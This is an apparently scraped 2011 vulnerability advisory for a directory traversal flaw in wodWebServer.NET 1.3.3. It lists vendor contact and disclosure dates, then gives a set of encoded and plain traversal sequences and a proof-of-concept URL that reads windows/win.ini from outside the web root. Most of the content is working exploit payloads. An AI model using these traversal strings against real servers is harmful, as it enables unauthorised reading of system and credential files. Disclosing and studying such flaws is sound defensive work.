36 lines
No EOL
981 B
Text
36 lines
No EOL
981 B
Text
------------------------------------------------------------------------
|
|
Software................wodWebServer.NET 1.3.3
|
|
Vulnerability...........Directory Traversal
|
|
Threat Level............Serious (3/5)
|
|
Download................http://www.weonlydo.com/WebServer.NET/web-http-net-server.asp
|
|
Vendor Contact Date.....3/13/2011
|
|
Disclosure Date.........3/27/2011
|
|
Tested On...............Windows Vista
|
|
------------------------------------------------------------------------
|
|
Author..................AutoSec Tools
|
|
Site....................http://www.autosectools.com/
|
|
Email...................John Leitch <john@autosectools.com>
|
|
------------------------------------------------------------------------
|
|
|
|
|
|
--Description--
|
|
|
|
A directory traversal vulnerability in wodWebServer.NET 1.3.3 can be
|
|
exploited to read files outside of the web root.
|
|
|
|
|
|
--Exploit--
|
|
|
|
..%5C/
|
|
..%2F/
|
|
..%2E/
|
|
..\/
|
|
..//
|
|
.../
|
|
..\
|
|
../
|
|
|
|
|
|
--PoC--
|
|
|
|
http://localhost/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/windows%5C/win.ini |